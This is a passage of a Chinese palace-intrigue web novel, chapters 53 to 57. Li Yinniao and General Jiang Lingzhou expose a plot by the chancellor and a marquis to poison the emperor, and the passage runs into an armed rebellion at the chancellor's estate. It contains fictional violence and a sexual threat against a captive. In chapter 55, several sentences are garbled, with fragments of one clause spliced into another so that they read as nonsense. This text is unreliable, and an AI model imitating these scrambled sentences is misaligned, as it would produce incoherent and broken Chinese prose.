宫女紧张地绞着衣角,声音略带颤抖:“回禀黎姑娘,前几日来了个叫王强的陌生人送菜,说是侯爷府管家介绍来的。可每次送来的菜品都不太新鲜,我们只让他送了两日,便不再要他的菜了。” 黎音袅微微点头,继续问道:“那你可还记得他的模样?”宫女回忆片刻,说道:“他身材高大壮实,脸上有一道长长的疤痕,从眼角一直延伸到嘴角,看着有些吓人。”黎音袅当即命人找来画师,画师根据宫女的描述,迅速勾勒出王强的模样。 只见画像上的男子面容凶狠,那道疤痕更添几分狰狞。 黎音袅拿着画像,匆匆赶到江令舟的府邸,将调查结果告知他:“江将军,这便是那可疑送菜人的画像,从宫女所言来看,此事与侯爷府脱不了干系。”江令舟接过画像,仔细端详,眼中闪过一丝狠厉:“好,我这就派人去暗中观察侯爷府的管家,看他到底还藏着什么猫腻。” 江令舟挑选了几名心思缜密、身手敏捷的心腹,将任务详细交代下去:“你们务必盯紧侯爷府的管家,一举一动都不能放过。一旦发现异常,立刻回来禀报。”心腹们领命后,迅速潜入夜色,朝着侯爷府的方向而去。 在接下来的日子里,心腹们日夜轮流监视着侯爷府管家的行踪。 终于,在一个细雨绵绵的夜晚,他们发现管家神色慌张地出了侯爷府,鬼鬼祟祟地朝着城郊一处废弃的宅子走去。心腹们悄悄跟在后面,只见管家进入宅子后,与一个身形高大的男子碰面,而那男子的模样,竟与画像中的王强极为相似。 心腹们不敢贸然行动,赶忙回去将消息告诉江令舟。 江令舟得知后,立刻与黎音袅商议:“看来这背后果然有阴谋,我们必须尽快行动,将他们一网打尽,才能彻底解除陛下的危机。”黎音袅点头赞同:“没错,但我们还需谨慎行事,以免打草惊蛇。” 两人商议后,决定先收集更多证据,再向皇帝禀报。 江令舟再次派出心腹,对那处废弃宅子进行更深入的调查。心腹们趁着夜色,小心翼翼地潜入宅子,在一间密室中发现了大量的信件,信件内容竟是侯爷与一些境外势力勾结,企图颠覆大楚政权的阴谋,而王强正是他们安插在皇宫附近的眼线,负责传递消息和执行一些秘密任务。 江令舟拿到信件后,立刻进宫面见皇帝许鹤鸣。他跪地呈上信件,比平日心情沉重:“陛下,臣已查明,丞相和侯爷勾结外部势力,意图谋反。这是他们的罪证,请陛下过目。”许鹤鸣接过信件,越看脸色越阴沉,看完后,他怒拍龙椅:“好你个侯爷,竟敢做出这等大逆不道之事!江爱卿,你务必将他们的党羽一网打尽,绝不能让他们的阴谋得逞。” 皇帝许鹤鸣长叹了一口气接着说:“江将军虽说他们罪大恶极,但连根拔起会影响国本。” 他与江令舟商议从长计议。 江令舟每日奔波于朝堂各部之间,用严格的官员考核制度去除侯爷等党羽。 一些被裁撤的官员心怀不满,暗中串联,企图抵制变革。 他们在茶楼酒肆中散布谣言,称江令舟专横跋扈,为了树立个人权威,随意打压朝中老臣,破坏朝堂稳定。这些谣言如病毒般在京城官场中蔓延,一时间人心惶惶。 一日,几位被裁撤官员的家属竟齐聚江令舟府邸前,跪地哭诉。 为首的一位老妇人泪流满面,高声喊道:“江将军,我家老爷为官多年,兢兢业业,虽有些小错,也不至于被革职查办啊!您这一举措,让我们全家老小如何生活?”江令舟听闻此事,赶忙出门,看着眼前的场景,解释道:“各位父老乡亲,我江令舟此举,绝非针对个人。朝堂吏治关乎大楚兴衰,那些靠关系上位、尸位素餐之人,若继续留在朝堂,受苦的终将是天下百姓。我定会妥善安置被裁撤官员,对于有真才实学、只是一时犯错之人,日后仍有机会重新为朝廷效力。”一番话,说得情真意切,众人情绪渐渐平复。 而在后宫,黎音袅的情报收集工作也遭遇了阻碍。 后宫嫔妃们察觉到风声不对,开始对她有所防备。原本与她亲近、时常分享朝堂隐秘的一位嫔妃,如今见了她也只是寒暄几句,绝口不提朝堂之事。 黎音袅并未气馁,转而将目光投向了后宫的宫女和太监群体。 她时常在后宫花园中与宫女们聊天,关心她们的生活,用真诚渐渐赢得了她们的信任。终于,一位小宫女悄悄告诉她,最近有几个神秘人时常在后半夜出入后宫一处偏僻宫殿,行为鬼祟,听闻与朝中某些势力有关。 黎音袅将这一消息告知江令舟,二人决定亲自去探查一番。 深夜,月色朦胧,江令舟和黎音袅身着便服,悄然潜入那处宫殿。 刚靠近,便听到里面传来隐隐约约的交谈声。“如今江令舟那小子推行的考核制度,坏了我们的好事,得想个办法阻止他。”“是啊,还有那黎音袅,在后宫到处打听消息,也得小心提防。”江令舟和黎音袅对视一眼,心中了然,看来是丞相和侯爷的残余势力在搞鬼。他们悄悄退了出来,打算先按兵不动,等待合适时机将这些残余势力一网打尽。 几日后,江令舟和黎音袅收到密报,得知这些残余势力将于三日后在城郊的一处废弃庄园秘密集会,商议对抗朝廷变革的下一步计划。 两人相视一笑,觉得时机已到。行动当晚,乌云密布,月光被遮得严严实实,正是动手的好时机。江令舟率领一队精锐士兵埋伏在庄园四周,黎音袅则乔装成庄园的丫鬟,先行潜入内部打探情况。 黎音袅刚踏入庄园,便见几个身形魁梧的大汉在庭院中来回踱步。 她佯装镇定,端着茶水往正厅走去。正厅内,几个官员模样的人围坐在一起,面色阴沉。“江令舟和黎音袅最近动作频繁,我们得加快行动,否则都得完蛋!”其中一人低声吼道。黎音袅悄悄靠近,将听到的信息暗自记下。 就在此时,一名大汉似乎察觉到异样,猛地朝黎音袅走来:“你这丫鬟,鬼鬼祟祟的,在干什么?” 第53章 中毒之谜 黎音袅被两名虎背熊腰的大汉押进厅堂时,烛火在铜制烛台上剧烈摇晃。为首的大汉将她重重甩在青砖地上,铁靴碾过她的手腕,发出令人牙酸的骨节摩擦声:“说!夜闯侯府究竟意欲何为?” 她咬着渗血的下唇抬头,正对上王强那张堆满横肉的脸。此人歪斜着身子靠在太师椅上,油腻的头发黏在额角,绿豆眼在她身上来回扫视:“小娘子细皮嫩肉的,倒是合我口味。不过敢动侯府的主意,怕是活腻了?” 侯爷的管家捻着山羊胡,目光在黎音袅染血的夜行衣上停留片刻,忽然咳嗽一声:“此事透着蹊跷,还是报官……”话音未落,丞相府的管家已按住他的胳膊。这人三角眼中闪过阴鸷,袖口暗绣的云纹随着动作若隐若现:“侯府近来事务繁杂,何必惊动官府?依我看,交给王强兄弟审问最合适。” 王强搓着双手笑出声,腰间玉佩上“王记菜行”的刻字在烛光下泛着冷光。黎音袅盯着那玉佩,想起城郊菜农哭诉被强占田地时,描述的正是这块刻着同样字迹的玉佩。她正要开口,却见丞相府的管家突然凑近侯爷的管家,耳语间袖中滑出一张银票。 “既如此,我等就先回府。”侯爷的管家将银票揣入怀中,袍角扫过黎音袅的脸颊,“王强,若问不出个所以然,小心你的脑袋。” 待二人离去,王强一脚踢翻烛台。火苗在青砖缝隙中明灭,映得他的影子如恶鬼般扭曲:“小美人,乖乖从了我,兴许能留你条活路。”腥臭的酒气扑面而来,他肥厚的手掌眼看就要触到黎音袅的脖颈。 “动手!”暗处传来一声冷喝。江令舟率领暗卫破窗而入时,王强正瘫坐在地上,被侍卫的刀刃抵着咽喉。他望着江令舟腰间的金牌,喉结上下滚动:“江大人,这是场误会!我不过是个卖菜的……” 审讯室内,炭火将王强的脸烤得通红。他盯着案上罗列的证据——御膳房采购账本、菜农联名状,额角的汗珠不断滚落,却仍梗着脖子:“御膳房张公公亲口说我菜新鲜!至于这些刁民,定是收了银子污蔑我!” 黎音袅突然将一盘银针掷在案上。针尖尽数发黑的银针在烛光下泛着幽光:“三日前,你送往御膳房的白菜中,验出了鹤顶红。”她刻意放慢语速,观察着王强瞳孔的细微变化,“而这种产自西域的毒药,寻常菜贩根本无从获取。” 王强突然暴起,铁链哗啦作响:“血口喷人!我与侯爷、丞相素无往来!”他的异常激动反而印证了黎音袅的猜测。江令舟抬手示意侍卫稳住犯人,从袖中取出密信:“据可靠消息,你半月前曾八次出入丞相府后门。” 当看到信上的朱砂印时,王强的脸色瞬间变得惨白如纸。但他很快恢复镇定,冷笑一声:“江大人仅凭一封不知真假的信,就要给我定罪?”他突然剧烈咳嗽起来,嘴角溢出黑血。 “不好!他服了毒!”黎音袅冲上前时,只来得及抓住王强攥着的衣角。布料上暗绣的云纹与丞相府管家的袖口如出一辙,而王强已气绝身亡。江令舟踢翻座椅,看着地上抽搐的尸体:“幕后之人早有准备,这是在杀人灭口!” 江令舟和黎音袅只能放弃此线索,另找其他的途径。 深夜的御膳房寂静得可怕。黎音袅乔装成宫女,指尖拂过陈旧的账本。在三月初五的记录旁,一行极小的字映入眼帘:“王记菜行,加急采购。”她正要细看,忽闻身后传来绸缎摩擦声。 “黎姑娘对账本倒是感兴趣。”御膳房总管手持烛台,阴冷的说“可惜,有些秘密,还是带进棺材的好。”话音未落,十余名蒙面人破窗而入,寒光闪闪的匕首直取黎音袅咽喉。 打斗声惊动了巡夜侍卫。黎音袅趁机夺门而逃,却在转角处与一人撞个满怀。抬头瞬间,她看清那人腰间玉佩——正是与王强一模一样的“王记菜行”。而此人,竟是丞相府新上任的采买总管。 “站住!”黎音袅的呼喊被淹没在更夫的梆子声中。她望着那人消失的方向,握紧了手中染血的布条。远处,丞相府的灯笼在夜色中明明灭灭,如同巨兽的眼睛,正注视着这场暗流涌动的博弈。 次日,江令舟在城郊发现了王强的菜窖。霉味刺鼻的地窖里,整齐码放着西域运来的木箱,箱内除了毒药,还有一封尚未寄出的密信。信上字迹潦草,却清晰写着:“待陛下病倒,侯爷府与丞相府……” “原来他们想趁皇帝病重逼宫!”黎音袅的声音在空旷的地窖中回荡。江令舟刚要下令查封,远处突然燃起冲天大火。待他们赶到时,丞相府的书房已化为灰烬,管家正指挥家丁泼水,嘴角却挂着意味深长的笑。 “可惜了这些古籍。”管家摇着折扇,眼中毫无惋惜之色,“江大人,这把火,烧的不过是些无用的废纸罢了。” 黎音袅望着随风飘散的灰烬,突然蹲下身子。在焦黑的残片中,她发现半块玉佩——正是昨夜在丞相府采买总管腰间所见之物。碎片边缘刻着细小的“辰”字,与王强玉佩上的“王”字合起来,正是城郊菜农口中那个霸占田地的“王辰”。 “他们自以为做得天衣无缝,”江令舟握紧剑柄,“却不知越是心急,越容易露出马脚。黎姑娘,明日便是朝会,我们该让某些人,见见光了。” 夜幕再次降临,丞相府内灯火通明。丞相望着手中残缺的玉佩,突然将茶盏砸向地面:“废物!连个女人都对付不了!”他捡起玉佩碎片,眼中闪过杀意,“传令下去,明日朝会,定要让江令舟有来无回。” 而此时的黎音袅,正与江令舟在宫中密室商议对策。烛火摇曳间,她展开一张泛黄的舆图,指尖落在城郊的某处:“这里是侯爷府的私军营地。若能拿到调兵虎符……” “虎符就在侯爷书房的暗格里。”江令舟突然开口,眼中闪过追忆之色,“三年前,我曾亲眼见过。”他握紧拳头,“这次,定要让他们为所做的一切付出代价。” 第54章 幕后黑手 黎音袅与江令舟,身姿笔直地跪在御书房那雕有蟠龙纹的地砖之上。摇曳的烛火,将他们的影子肆意拉长,显得格外扭曲。皇帝许鹤鸣紧握着密信,指节因用力而泛白,微微发颤的手似是承载着千斤重担。 他身着的龙袍,下摆轻轻扫过青砖地面,发出细微的窸窣声响,仿若在诉说着宫廷深处那难以言说的隐秘。“丞相与侯爷在朝中经营多年,势力盘根错节,若无铁证……”话未说完,案上的青铜香炉像是被一股无形的力量推搡,猛地倾倒,香灰簌簌洒落,不偏不倚地洒在弹劾奏章上,恰似一场被意外打断、未下完的棋局。 “臣弟愿担此重任。”一道清朗的声音骤然响起,众人循声望去,只见黎音树不知何时已站在书房门口。他身着玄色劲装,衣角上还沾着夜露,在烛光下闪烁着微光。腰间的螭纹玉佩,与黎音袅佩戴的白玉坠子相互碰撞,发出一声清脆悦耳、仿若凤鸣般的清越鸣响。三日前,他在城郊偶然寻得的半截玉佩残片,此刻正安稳地躺在他贴身衣袋里,仿佛还带着他奔波时的体温,隐隐发烫。 当夜,夜幕如浓稠的墨汁,将京城紧紧包裹。黎音树乔装成一个烂醉如泥的醉汉,脚步踉跄地在丞相府后门跌撞徘徊。墙角的青苔湿滑,悄然沾湿了他的皂靴。就在他佯装呕吐之际,眼角余光瞥见檐角有黑影一闪而过。他定睛一看,心中猛地一震,此人正是那日在御膳房惊鸿一瞥的采买总管。 只见那采买总管神色慌张,怀中紧紧抱着一个檀木匣,匣子上的铜锁雕刻着精致的云纹,与黎音袅此前描述的一模一样。黎音树强忍着内心的激动,佯装不经意地悄悄跟了上去。 然而,在转过三条街巷后,变故突生。黎音树只觉脖颈处一凉,一柄锋利的匕首已然抵住了他的咽喉。“跟了这么久,也该停下歇歇了。”采买总管的声音从身后传来,冰冷刺骨。 他的眼睛宛如夜枭的眼睛。话音刚落,一群黑衣卫如鬼魅般从四面八方涌出,将黎音树团团围住,水泄不通。黎音树心中暗自叫苦,却并未慌乱。他猛地反手扣住对方手腕,借力一个翻身,如敏捷的猿猴般跃上屋顶。 脚下的瓦片不堪重负,发出细碎的脆响,在寂静的夜里格外刺耳。追逐声瞬间惊醒了远处的更夫,梆子声、刀剑破空声交织在一起,在夜空中交织成一张危险而又紧密的大网,仿佛要将黎音树困在其中。 经过一番惊心动魄的追逐,黎音树终于摆脱了追兵。他气喘吁吁,环顾四周,却发现自己竟逃进了一片荒草丛生的乱葬岗。腐草间散落着破碎的陶罐,在月光下显得格外阴森恐怖。他心烦意乱,一脚踢开半埋在土里的兽骨,却感觉脚尖触碰到了某种坚硬的东西。 他心中一动,蹲下身子,扒开层层杂草,一个刻着“王记菜行”字样的木箱赫然出现在眼前。他迫不及待地打开木箱,箱内装满了西域香料,散发出一股奇异的香气。他在箱内仔细翻找,终于在夹层里发现了一本账簿。账簿上密密麻麻地记录着一些看似毫无头绪的文字,仔细端详,竟是“以菜换药”的暗语,仿佛打开了一扇通往惊天秘密的大门。 与此同时,在皇宫深处,黎音袅也正忙碌着。她趁着夜色如同一道黑色的闪电,悄无声息地潜入太医署。太医署内弥漫着一股淡淡的药香,烛火摇曳,将泛黄的纸页映得通明。 她小心翼翼地翻找着近三个月来的诊脉记录,目光在纸张上飞速扫过。突然,她的眼神定格在一处,皇帝脉象记录旁,一个熟悉的名字反复出现——太医院判赵德安,此人正是丞相的得意门生。更令人毛骨悚然的是,御药房的朱砂消耗记录,与此前在王强地窖里发现的毒药数量竟完全吻合,这一发现,犹如一颗重磅炸弹,在她心中掀起惊涛骇浪。 千算万算没想到太医院也会参与到其中。 “黎姑娘,深夜至此,好雅兴啊。”一道阴森的声音突然从身后传来。黎音袅心中一惊,迅速转身,只见赵德安身着月白长袍,宛如鬼魅般站在那里。他手中握着淬毒银针,在烛光下闪烁着寒芒,眼神中透露出一丝狠厉。“可惜啊,有些秘密,还是让死人来保守比较好。”话音未落,他手腕一抖,银针如毒蜂般射向黎音袅。黎音袅反应极快,身姿如柳絮般轻盈旋身避开暗器。 慌乱之中,她发间的银簪擦着对方耳际飞过。就在此时,窗外传来侍卫急促的脚步声。赵德安见状,冷笑一声,迅速将桌上的记录付之一炬。 黎音树掏出那本在乱葬岗找到的账簿,黎音袅展开那半张从太医署抢到的残页,两人仔细研究,终于拼凑出一个惊人的真相:丞相与侯爷暗中勾结西域势力,打算趁皇帝秋狩之际发动兵变,而赵德安则负责在皇帝的膳食中慢性下毒,意图让皇帝在围场突发恶疾,从而为他们的阴谋创造条件。 “好一个借刀杀人之计,其心可诛!”江令舟的声音从祠堂外传来。众人望去,只见他手中长剑还滴着血,神色冷峻。“方才我截获了一封密信,西域使团的人已悄然混入京城。”他展开那封染血的信纸,上面画着详细的兵力部署图,标注的日期正是秋狩前一日,局势已然到了千钧一发的危急关头。 就在此时,远处传来急促的马蹄声,仿若密集的鼓点。 黎音树迅速攀上墙头张望,只见丞相府方向火光冲天,无数黑影骑着快马,朝着皇宫疾驰而来。“他们提前动手了!”黎音袅见状,神色凝重,握紧了手中的佩剑,月光洒在剑刃上,宛如流淌的银水。“江大人,劳烦您速速通知禁军护驾,我与兄长去丞相府取证!” 第55章 丞相造反 丞相府的广场上,五千名将士整齐列队,铠甲在夕阳下闪烁着冷冽的光芒。空气中弥漫着紧张的气息,仿佛每个人的心跳都与即将到来的行动同步。黎音袅和黎音树大树后面静静观察,心中各自盘算着接下来的步骤。 “今夜,我们必须杀掉狗皇帝。”丞相的声音在广场上回荡,铿锵有力,令所有将士心中一震。黎音袅微微皱眉,心中暗自思忖,这场行动的风险远超预期。 “我去通知江令舟将军。”黎音袅对身边的亲信说道,语气坚定。她知道,时间不等人,必须尽快将消息传达出去。 亲信点头,迅速离去。黎音树则侧头看向他,目光中流露出一丝担忧。“你真的认为我们能阻止的了造反吗?” 黎音袅没有立刻回答,目光投向广场中央。丞相正在对将士们进行最后的动员,激昂的言辞激起了士兵们的斗志。她心中明白,若不趁此机会,将会错失良机。 “我们只能期待江将军能早点来” 黎音树沉默片刻,最终点了点头,心中却难以平静。他们的命运早已与这场政变紧密相连,无法回头。 随着夜幕降临,广场上的气氛愈发紧张。黎音袅的心跳加速,周围的声音似乎变得遥远。她深吸一口气,试图让自己冷静下来。此时,丞相的声音再次响起:“今晚,我们将为正义而战!” “正义?”黎音树轻声自语,神情复杂。 “准备行动。” 随着命令的下达,五千名将士开始行动,队伍如潮水般向前推进。黎音袅和黎音树紧随其后,心中充满了紧张不知道接下来会怎样。 就在此时,远处传来一阵急促的马蹄声,黎音袅的心猛地一沉。她转身望去,只见一队骑兵疾驰而来,正是江令舟将军的部队。 江令舟的骑兵如同黑色的洪流,迅速冲向广场。马蹄声震耳欲聋,带着一股无法忽视的气势,直逼丞相的心中一紧,脸上的冷静被瞬间的紧张打的军队。黎音袅破。 “快,告诉他们!”她的声音在喧嚣中显得格外急促,眼中闪烁着不安的光芒。她知道,时间是关键,必须在丞相的军队发动之前,尽快传达这个信息。 “丞相的军队已经准备行动,我们必须立刻出击,保卫皇城!”江令舟的声音低沉而有力,透着一股不可动摇的决心。 黎音袅感受到他话语中的坚定,心中微微一震。她知道,江令舟并不是一个轻言放弃的人。他的每一次出击,都是为了捍卫心中的信念。 “我们不能让他们得逞。”江令舟转身,指挥着士兵们迅速集结。黎音袅和黎音树紧随其后,心中却充满了复杂的情绪。 “你真的相信我们能赢吗?”黎音树低声问道,声音中透着一丝不安。他的目光在广场上游离,似乎在寻找着什么。 “我们必须赢。”黎音袅回答,语气中带着一丝坚定。她知道,胜利不仅关乎他们的生死,更关乎整个皇城的未来。 随着命令的下如同一根强有力的速整队,江令舟的指挥达,骑兵们迅绳索,将所有士兵的心紧紧拴在一起。黎音袅感受到周围的气氛愈发紧张,空气中弥漫着即将爆发的火药味。 “准备出击!”江令舟的声音在广场上回荡励着每一个士兵的斗志。黎音袅的心中燃起一丝希望,犹如一声号角,激,尽管前方的道路充满未知,但她明白,只有行动才能改变现状。 就在此时,丞相的军队开始向前推进,铠甲在冷冽的光芒,仿佛在宣告着即将到来的冲突。黎音夕阳下闪烁着袅的心跳加速,紧握的拳头微微颤抖。她知道,战斗即将来临,生死一线之间。 “我们必须抓住这个机会。”黎音袅低声对黎音树说道,眼中闪烁着坚定的光芒。 “是的,不能让丞相的军队占据主动。”黎音树点头,心中的不安被一股勇气所取代。 随着两支军队的距离逐渐缩短,空气气息。黎音袅的中弥漫着紧张的手心开始冒汗,脚步却不自觉地向前迈去。她的心中充满了对未来的未知,但她知道,唯有迎接挑战,才能找到出路。 “为了皇城,为了正义!”江令舟的声音如同战鼓,激励着每一个士兵的心。黎音袅的心中涌起一股热血,仿佛被这股力量所感染,决心与江令舟并肩作战。 “出发!”随着江令舟的命令,骑兵们如潮水般涌向前方,黎音袅和黎音树紧随其后,心中充满了紧张与期待。 ...... 此时,皇帝在宽大的御书房里来回踱步,每一次转身都带着一丝难以抑制的焦躁。外面没有声音传来,只有死一般的沉寂,这种未知比任何喧嚣都更令人不安。 皇后坐在梨花木椅上,十指交握,指尖微微泛白。她的目光追随着皇帝的身影,眼神中带着担忧,却没有开口打断他的思绪。 “外面现在究竟如何?”皇帝停下脚步,声音有些沙哑,仿佛喉咙里卡着什么东西。 “一点消息都没有传进来。”皇后轻声回答,声音很轻,像怕惊动了什么。 “禁卫军呢?”皇帝问,语气中带着一丝他自己都没有察觉到的急切。 “他们...似乎还在坚守。”皇后犹豫了一下,给出了一个并不确定的回答。她的信息来源也有限,宫墙内外仿佛隔着两个世界。 皇帝没有立刻说话,他走到窗边,向外望去。外面一片漆黑,只有远处宫灯的光晕,无法穿透那层厚重的夜幕。 “我们是不是应该做些准备?”皇后打破了沉默,她的声音听上去比刚才坚定了一些。 “准备什么?”他问道,声音听上去有些疲惫。 “万一...万一江将军没有赶到。”皇后没有明说,但意思已经很清楚。 “逃?”他语气中带着一丝嘲讽,不知道是在嘲讽皇后,还是在嘲讽自己。 “我们不能坐以待毙。”皇后的声音提高了些许,她的脸色也显得有些苍白。她知道皇帝内心的挣扎,但此刻,性命安危似乎更为重要。 “坐以待毙?”皇帝反问,“难道逃跑就不算是坐以待毙吗?我们能逃到哪里去?天下之大,哪里还有朕的容身之处?” 他的声音有些激动,步伐也再次变得急促。他在房间里来回走动,仿佛这样就能甩掉那些烦人的念头。他想到丞相那张伪善的脸,想到他隐藏在恭敬之下的野心。 是他太天真了,还是丞相隐藏得太深?也许两者都有。 他回想起自己登基以来的一些决定,是否有些过于信任某些人?是否有些过于忽视某些警告?现在想这些已经太晚了,他必须面对眼前的困境。 “我们可以先去南城门。”皇后提议,“那里离皇城稍远,而且...而且或许能找到接应的人。” 第56章 对峙 南城门?皇帝脑海中浮现出南城门的地形。那里的守卫力量相对薄弱,而且一旦逃出城,外面就是广阔的原野,或许有机会摆脱追兵。 可是,抛弃皇城意味着什么?意味着他放弃了抵抗,放弃了那些依然忠于他的士兵和臣民。他无法想象当丞相的军队攻入皇宫,发现皇帝已经逃跑时,那些人的绝望。他不愿意成为那个在危难时刻抛弃子民的君主。 “如果江令舟来了呢?”皇帝说,他的声音中带着一丝期望,就像在抓住最后一根救命稻草。他希望皇后能肯定他的想法,给他一个留下来的理由。 “如果他来了,自然最好。”皇后说,她的语气很平静,没有流露出太多情绪。她知道,皇帝对江令舟抱有很大的希望,但她不能将所有的希望都寄托在一个人身上。 “可万一他没来呢?”她紧接着问道,将皇帝的希望再次拉回现实。 “我们不能把所有的希望都寄托在江令舟一个人身上。”皇后再次强调,她的声音带着一丝坚持。她不是不信任江令舟,只是她更相信掌握在自己手中的命运。 “朕知道。”皇帝说,他当然知道不能把所有希望都寄托在一个人身上。 他想到了叛军可能设置的层层关卡,想到了隐藏在暗处的杀手。即使他们成功逃出了皇城,外面的世界也未必安全。 皇帝再次走到窗边,向外望去。夜色更浓了,远处的宫灯光芒似乎也变得黯淡。他感到一阵无力,仿佛整个世界都在与他作对。 他想到了黎音袅,那个他曾经有些欣赏的女子。她派人送来的消息,是他得知丞相意图造反的唯一途径。 “如果江令舟来了,我们就能守住皇城。”皇帝说,他的声音听上去坚定了一些。他试图用这种方式来增强自己的信心。 他再次开始踱步,脚步声在寂静的房间里显得格外响亮。 ...... 江令舟的部队与丞相的军队相隔不过数十丈,空气中的紧张感几乎凝固,像拉满的弓弦,随时都会断裂。 战马不安地刨着地面,发出低沉的嘶鸣。 江令舟骑在马上,面容冷峻,他知道皇宫里的那个人此刻一定心急如焚。 皇帝的性子他了解,平日里优柔寡断,此刻面对生死攸关的局面,心中的担忧只会比任何时候都更甚。 “黎大人”江令舟没有回头,声音沉稳有力。 黎音树策马上前,来到江令舟身侧。他感到一股强烈的压迫感,来自前方黑压压的敌军,也来自江令舟身上散发出的决绝气息。 “你立刻回宫。”江令舟说,语气没有丝毫迟疑。 黎音树微微一怔,他以为自己会跟随江令舟一起冲锋。 “告诉陛下,我们已经与叛军对峙。”江令舟继续说道,每一个字都清晰有力,穿透了周围的嘈杂。 他需要让皇帝知道,有人正在为他而战,有人正在履行职责。 “让他安心,禁卫军誓死保卫皇城。”江令舟说,这是他给皇帝的承诺,也是给自己的承诺。 黎音树看向前方,丞相的军队已经开始骚动,显然也注意到了他们的到来。 “可是这里...”黎音树有些迟疑,他不想离开战场。 “陛下的安危更重要。”江令舟打断了他,语气不容置疑。他知道黎音树的心情,但此刻他需要一个信得过的人将消息送回宫。 黎音树沉默片刻,最终点头。 “我明白了。”他说,声音带着一丝沉重。他知道这项任务的重要性,也知道这意味着他将错过即将到来的战斗。 “小心。”江令舟简短地说。 黎音树最后看了一眼江令舟,以及他身后整齐列队的将士们。 他调转马头,猛地抽打马匹,向着皇宫的方向疾驰而去。马蹄声在地面上敲打出急促的节奏,仿佛在与时间赛跑。 黎音袅站在江令舟的另一侧,目送着黎音树远去。她知道江令舟的用意,让皇帝安心是必要的,否则皇宫内部可能会先乱起来。 她感到一股寒意从脚底升起,前方是丞相的五千军队,他们只有不到三千人。 人数上的劣势显而易见,但江令舟的脸上没有丝毫畏惧。 他拔出佩剑,剑刃在夜色下闪烁着冰冷的寒光。 “将士们!”江令舟的声音如同惊雷,响彻整个广场。 所有士兵都看向他们的将军,眼中充满了敬畏和决心。 “我们身后就是皇城!”他高声喊道,声音中蕴含着无穷的力量。 “皇城里住着我们的陛下,住着我们的家人!” 他的话语像一把火,点燃了士兵们心中的怒火。 “丞相意图谋反,他要颠覆社稷,奴役百姓!” 江令舟的声音充满了愤怒,每一个字都像钉子一样敲打在士兵们的心上。 “我们是禁卫军,我们的职责就是保卫皇城,保卫陛下!” “今天,我们将用鲜血和生命,捍卫我们的誓言!” “誓死保卫皇城!”士兵们齐声怒吼,声音震天动地,压过了马蹄声和风声。 他们的声音中充满了力量,充满了不屈的意志。 黎音袅感到自己的心跳与这股声音同步,她知道,江令舟已经成功激发了士兵们的斗志。 “杀!”江令舟一声令下,策马冲锋。 他身后的禁卫军如同出闸的猛虎,紧随其后,向着丞相的军队发起了冲锋。 喊杀声瞬间响彻夜空,两支军队如两股洪流,猛烈地撞击在一起。 刀剑相交的声音,铠甲碰撞的声音,战马嘶鸣的声音,士兵们的惨叫声,瞬间将广场变成了一个人间炼狱。 黎音袅紧随江令舟身后,手中握着剑,目光锐利地观察着周围的一切。她知道,自己必须保持冷静,才能在这混乱的战场上生存下来。 她看到江令舟冲入敌阵,剑光闪烁,每一次挥动都带走一条生命。他的身姿矫健,像一尊不可战胜的战神。 她也看到了身边的士兵们倒下,鲜血染红了地面。死亡的气息在空气中弥漫,让人感到一阵阵的窒息。 她挥动着剑,格挡着敌人的攻击,每一次碰撞都让她的手臂感到一阵酸麻。她努力地保持着清醒,不让自己被恐惧所吞噬。 她知道,她不能倒下,她还有重要的事情要做。 与此同时,黎音树骑着马,以最快的速度冲向皇宫。耳边的风声呼啸而过,仿佛在催促他加快速度。 他心中焦急,他知道战斗已经开始,他必须尽快将消息送达。 皇宫的城门在望,他感到一丝放松,但紧接着又是一阵紧张。他不知道皇宫里现在是什么情况,皇帝是否安全。 他冲到宫门前,大声喊道:“禁卫军!奉江将军之命,有要事禀报陛下!” 守门的士兵听到他的喊声,立刻戒备起来。他们仔细辨认了他的身份,确认他是禁卫军的人后,才打开了一道缝隙。 黎音树翻身下马,顾不上休息,直接冲进了皇宫。他在侍卫的带领下,快步走向御书房。 第57章 搬救兵 一路上,他看到宫中的气氛异常紧张,侍卫们严阵以待,每个人脸上都带着担忧。 他来到御书房外,通报后被允许进入。 他看到皇帝和皇后都在里面,他们的脸上带着焦虑,显然一直在等待消息。 “陛下!”黎音树单膝跪地,声音有些急促。 皇帝猛地抬起头,眼中闪烁着希望的光芒。 “外面情况如何?”皇帝急切地问道,语气中充满了期待。 “回禀陛下,江将军已经率禁卫军与丞相的叛军在丞相府广场对峙。”黎音树快速地说道,将他所知道的情况简明扼要地说了出来。 皇帝听到这个消息,心中悬着的石头终于落下了一半。江令舟果然来了,他没有辜负自己的期望。 “他们...他们交战了吗?”皇后问道,声音带着一丝颤抖。 “是的,娘娘,已经开始交战。”黎音树回答,脑海中闪过刚才看到的惨烈景象。 皇帝紧握着拳头,指关节泛白。他知道,这是一场硬仗,禁卫军的人数处于劣势。 “江将军让臣向陛下禀报,禁卫军誓死保卫皇城,请陛下安心。”黎音树重复了江令舟的话。 听到这句话,皇帝感到一股暖流涌遍全身。江令舟没有忘记他,没有放弃他。 “好!好!”皇帝连声说道,虽然脸上依然带着担忧,但眼神中却多了一份坚定。 他知道,江令舟正在外面浴血奋战,他不能在这里表现出软弱。 “江将军他...他有多少人?”皇后问道,她关心的是实际的力量对比。 “约莫三千人。”黎音树回答,语气中带着一丝不安。 三千对五千。皇帝的脸色再次变得凝重。这个数字差距太大了。 “丞相的军队是五千。”皇帝说,他的声音有些低沉。 黎音树没有说话,他知道这个数字意味着什么。 “但江将军的禁卫军是精锐。”皇帝又说,试图从中找到一丝慰藉。 黎音树点头,禁卫军的训练和士气确实远超丞相临时集结的军队。 “江将军说了,誓死保卫皇城。”黎音树再次强调江令舟的话,希望给皇帝带来更多信心。 皇帝深吸一口气,他知道现在不是绝望的时候。江令舟正在外面拼命,他必须在这里坚守。 “朕知道了。”皇帝说,他的声音恢复了一些平静。他看向黎音树,眼中带着赞许。 “你做得很好。”他说。 黎音树低头,“这是臣应该做的。” “现在外面战况如何?”皇帝问道,他迫切想知道最新的进展。 “臣离开时,双方刚刚接触,还未分出胜负。”黎音树如实回答。 皇帝点了点头,他知道战况瞬息万变,黎音树不可能知道太多细节。 他站起身,走到窗边。外面依然漆黑一片,但他仿佛能听到远处传来的喊杀声。 他知道,一场决定命运的大战正在皇城外进行。 他感到一种强烈的无力感,他无法亲自参与战斗,只能在这里焦急地等待。 他将所有的希望都寄托在了江令舟身上,寄托在了那些正在浴血奋战的禁卫军身上。 他相信他们,相信他们能够击退叛军,保卫皇城。 但他的心中依然残留着一丝不安,这场战斗的结果,谁也无法预料。 ...... 